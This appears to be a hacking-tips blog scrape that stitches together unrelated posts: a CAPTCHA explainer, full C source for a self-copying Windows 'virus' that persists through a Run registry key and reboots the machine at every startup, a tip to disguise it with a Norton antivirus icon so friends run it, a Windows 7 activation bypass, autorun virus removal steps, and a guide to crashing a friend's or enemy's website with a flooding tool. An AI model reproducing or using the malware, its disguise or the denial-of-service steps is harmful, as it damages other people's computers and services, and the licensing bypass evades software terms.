What is CAPTCHA and How it Works?

CAPTCHA or Captcha (pronounced as cap-ch-uh) which stands for “Completely Automated Public Turing test to tell Computers and Humans Apart” is a type of challenge-response test to ensure that the response is only generated by humans and not by a computer. In simple words, CAPTCHA is the word verification test that you will come across the end of a sign-up form while signing up for Gmail or Yahoo account. The following image shows the typical samples of CAPTCHA.

Almost every Internet user will have an experience of CAPTCHA in their daily Internet usage, but only a few are aware of what it is and why they are used. So in this post you will find a detailed information on how CAPTCHA works and why they are used.

 

What Purpose does CAPTCHA Exactly Serve?

CAPTCPA is mainly used to prevent automated software (bots) from performing actions on behalf of actual humans. For example while signing up for a new email account, you will come across a CAPTCHA at the end of the sign-up form so as to ensure that the form is filled out only by a legitimate human and not by any of the automated software or a computer bot. The main goal of CAPTCHA is to put forth a test which is simple and straight forward for any human to answer but for a computer, it is almost impossible to solve.

 

What is the Need to Create a Test that Can Tell Computers and Humans Apart?

For many the CAPTCHA may seem to be silly and annoying, but in fact it has the ability to protect systems from malicious attacks where people try to game the system. Attackers can make use of automated softwares to generate a huge quantity of requests thereby causing a high load on the target server which would degrade the quality of service of a given system, whether due to abuse or resource expenditure. This can affect millions of legitimate users and their requests. CAPTCHAs can be deployed to protect systems that are vulnerable to email spam, such as the services from Gmail, Yahoo and Hotmail.

 

Who Uses CAPTCHA?

CAPTCHAs are mainly used by websites that offer services like online polls and registration forms. For example, Web-based email services like Gmail, Yahoo and Hotmail offer free email accounts for their users. However upon each sign-up process, CAPTCHAs are used to prevent spammers from using a bot to generate hundreds of spam mail accounts.

 

Designing a CAPTCHA System

CAPTCHAs are designed on the fact that computers lack the ability that human beings have when it comes to processing visual data. It is more easily possible for humans to look at an image and pick out the patterns than a computer. This is because computers lack the real intelligence that humans have by default. CAPTCHAs are implemented by presenting users with an image which contains distorted or randomly stretched characters which only humans should be able to identify. Sometimes characters are striked out or presented with a noisy background to make it even more harder for computers to figure out the patterns.

Most, but not all, CAPTCHAs rely on a visual test. Some Websites implement a totally different CAPTCHA system to tell humans and computers apart. For example, a user is presented with 4 images in which 3 contains picture of animals and one contain a flower. The user is asked to select only those images which contain animals in them. This Turing test can easily be solved by any human, but almost impossible for a computer. 

 

Breaking the CAPTCHA

The challenge in breaking the CAPTCHA lies in real hard task of teaching a computer how to process information in a way similar to how humans think. Algorithms with artificial intelligence (AI) will have to be designed in order to make the computer think like humans when it comes to recognizing the patterns in images. However there is no universal algorithm that could pass through and break any CAPTCHA system and hence each CAPTCHA algorithm must have to be tackled individually. It might not work 100 percent of the time, but it can work often enough to be worthwhile to spammers.

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A Virus Program to Restart the Computer at Every Startup

How to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.

For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C languagethen it’s too easy to understand the logic behind the coding.

Here is the source code.

#include<stdio.h>
#include<dos.h>
#include<dir.h>

int found,drive_no;char buff[128];

void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}

void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;

case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;

case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;

case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;

default:
exit(0);
}

while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}

else
system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart}

NOTE: COMMENTS ARE GIVEN IN BROWN COLOUR.

Compiling The Scource Code Into Executable Virus.

1. Download the Source Code Here

2. The downloaded file will be Sysres.C

Testing And Removing The Virus From Your PC

You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.

1. Reboot your computer in the SAFE MODE

2. Goto

X:\Windows\System

(X can be C,D,E or F)

3.You will find a file by name sysres.exe, delete it.

4.Type regedit in run.You will goto registry editor.Here navigate to

HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run

 There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.

Logic Behind The Working Of The Virus

If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I’ll explain the logic in a simplified manner. Here I’ll not explain the technical details of the program. If you have further doubts please pass comments.

LOGIC:

1. First the virus will find the Root partition (Partition on which Windows is installed).

2. Next it will determine whether the Virus file is already copied(Already infected) intoX:\Windows\System

3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.

4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.

This process is repeated every time the PC is restarted.

NOTE: The system will not be restarted as soon as you double click theSysres.exe file.The restarting process will occur from the next boot of the system.

AND ONE MORE THING BEFORE YOU LEAVE (This Step is optional)

After you compile, the Sysres.exe file that you get will have a default icon. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.

For example you can change the .exe file’s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.

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How to Use Windows 7 Without Activation

Most of you might be aware of the fact that it is possible to use Windows 7 and Vista for 120 days without activation. This is actually possible using the slmgr -rearm command which will extend the grace period from 30 days to 120 days. However in this post I will show you a small trick using which it is possible to use Windows 7 without activation for approximately an year! Here is a way to do that.

1. Goto “Start Menu -> All Programs -> Accessories” . Right click on “Command Prompt” and select “Run as Administrator“. If you are not the administrator then you are prompted to enter the password, or else you can proceed to step-2.

2. Now type the following command and hit enter

slmgr -rearm

3. You will be prompted to restart the computer. Once restarted the trial period will be once again reset to 30 days. You can use the above command for up to 3 times by which you can extend the trial period to 120 days without activation.

4. Now comes the actual trick by which you can extend the trial period for another 240 days. Open Registry Editor (type regedit in “Run” and hit Enter) and navigate to the following location

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform

5. In right-side pane, change value of SkipRearm to 1.

6. Now you will be able to use the slmgr -rearm command for another 8 times so that you can skip activation process for another 240 days. So you will get 120 + 240 = 360 days of free Windows 7 usage.

120 days using “slmgr -rearm” command before registry edit

+                                                                                                                                                                  

240 days using “slmgr -rearm” command after registry edit

 =      360 Days

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Removing Autorun.inf/Autorun.ini virus manually

Please note that I’ve already posted this thing but it was only few steps.. Now I want you to apply several methods to remove the autorun.inf or autorun.ini virus.
METHOD I
You can easily remove the VB script viruses like MS32DLL.dll.vbs and others which works with the aid of autorun.inf in your harddrive. This virus is mostly transferred via USB pendrive which don’t have any write protect function.
Although i recommend you to use a good virus removal software or script blocker. When you open any of the hard drives may be USB or primary hard disk. You will be directed to this visual basic script which drives yourcomputer crazy. It becomes hard to access your harddrive.
Here’s a way how to disable this script atleast.
As it works with the help of autorun.inf you must be aware to find the autorun.inf file in your hard drive which is read-only and hidden.
NOTE: Remember this script also blocks some of the contents in Folder options . For example, “show the hidden files“.

So DOS, which is the best way for hackers as well as repairers to edit your computer.
Do the following.
STEP 1:
Locate the infected drive either C:, D:, E:, F, and so on.
STEP 2:
Now search for the file name autorun.inf using dir command.
” C:/dir autorun.inf (where C, is your drive)”
STEP 3:
I know that, it won’t discover any of the file name autorun.inf as it is the hidden one. Try the following:
” C:/dir/ah (where C is ur drive letter)
Now you can see the files autorun.inf of approx 100+ Kb and MS32DLL.dll.vbs file.

STEP 4:
Autorun.inf is the Master and MS32DLL.dll.vbs is a worker. Autorun.inf gives order to work out on the computer. So first you must delete the file named autorun.inf try these codes.
“C:/del/ah/f autorun.inf”
I think the file is now deleted

STEP 5:
Now type following commands:
“C:/copy con autorun.inf (Enter)
[AutoRun]
open=explorer.exep(Press F6 button and hit enter)

Now you are approx. done.
Now do the same steps for MS32DLL.dll.vbs file as i mentioned in STEP 4
Try to restart the computer
You’ll see the result, if not worked better you use a better virus removable and be prepared for future. If you want to remove this virus first download your usb drives and ur hard drives. Don’t keep any backup.
AND HEY DON’T forget about the program wscript.exe check if it is running or not in you taskmanager. It makes the vbs file work.


METHOD IIAlternative method to remove autorun.inf virus or ms32dll.dll.vbs
1-2. double click on My computer on Desktop ,
- choose Tool and select “Folder options”
- click on “View” tap select “Show Hidden files and folders” and un hake “Hide Extention….”
- and “Hide protected operating system file” (this selections are important to find the files you need to delete)
- then click “OK”

3. open Windows Task Manager (ctrl-alt-del) and select the “Processes” tap
- Click on “Image name” to sort File
- find “wscript.exe” and click on “End Process” (if there is more than one process with that name you have to end all of them)
- close the “Task Manager”

4. then you will click on Start and select “Search” and search for “autorun.inf” (Search the computer)
- you will then delete all the files that contains the text MS32DLL.dll.vbs (the virus) by pressing:SHIFT + DELETE. (There of course should not be Autorun.inf in the C rooth).

5. you will also delete the virus from the system (C:WINDOWS MS32DLL.dll.vbs) by pressing: SHIFT + DELETE

6. Next step is to edit the Register (Like always you have to be very care fool in the registry tools. Some mistake there can crash your computer)

- first, click on “Start” and select “Run” and type in “Regedit” and press “Enter”.
- select HKEY_LOCAL_MACHINE –> Software –>Microsoft –>Windows –> Current Version –> Run.
- find there “MS32DLL” and delete that entry.

6. Then select HKEY_CURRENT_USER –> Software –> Microsoft –> Internet Explorer –> Main. There you find “Window Title “Hacked by Godzilla”" and you should delete that entry. You can close the registry now.

7. next you will click on Start –> Run and type in “gpedit.msc” and press “Enter”. then you will open “Group Policy”.
- there you will select User Configuration –> Administrative Templates –> System –> and there you will double click on “Turn Off Autoplay”

- in the window there you should select “Enabled” and select “All drives” (they say in this Thai webside that select all turn of Autoplay will be safer for not getting viruses). Now you can close the Group Policy.

8. Next you will click on Start –> Run and type “msconfig” and press “Enter”.
- you will open “System Configuration Utility”.
- click on “Startup” tap
- find the file MS32DLL, choose Enable All, then unhake “MS32DLL”
- click Apply then OK to close

- then you will exit the “System Configuration Utility” and select “Exit Without Restart” when prompt.

9. After this you double click on My Computer and select “Tools” and “Folder Options” and “View” tap to change back there.
- select “Hide Extention…” and “Hide protected operating system file” and “Don’t show hidden files and folders”.

- then you will empty the “Recycle bin” and “Restart” your computer.

After applying both methods, I trusted the second method. Which one worked great on you?Please do comment in it.

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Hacking and crashing website using IP

Your friend or your enemy has made a little shitty website for whatever maybe a private server or anything.. And your feeling devious and want to crash it

TOOLS:
Port Scanner

rDos

HotSpotSheild Proxy!

Step One: First we need to find the websites IP Adress. This is very easy todo. Ok so say they URL is http://www.yoursite.com ok now that you have your URL open Up Cmd todo this press Start>Run>cmd Once you have CMD open you type ping http://www.yoursite.com press enter and you will get the ip of the website. (YOU MUST REMOVE HTTP:// AND ANY /’s)

Step Two: Now we must test to see if port 80 is open (it usually is).

This is very easy todo to Ok open up the port scanner you downloaded.
Once in the port scanner type in your Victims ip that you got from step 1.
It will ask you todo a range scan or a full scan (SELECT REANGE SCAN!) It will ask for conformaition you have to use a capital Y or a capital N! Now enter 79 for lowest port and 81 for highest hit enter than hit cap Y.
[X] = Closed
[X] Vulnerable = Open

tep Three ALMOST DONE:

The final and easiest step (IF PORT 80 IS CLOSED PICK A NEW SITE!)
If port 80 is open your on your way to crashing!!

Ok open Up rDos that you download.
Enter your victims ip that we got from step 1.
It will ask you for the port to attack use port 80 that is why we scaned to make sure 80 was open! If it is closed it will not work.
Hit enter.. *=Flooding -=Crashed Or didn’t connect!

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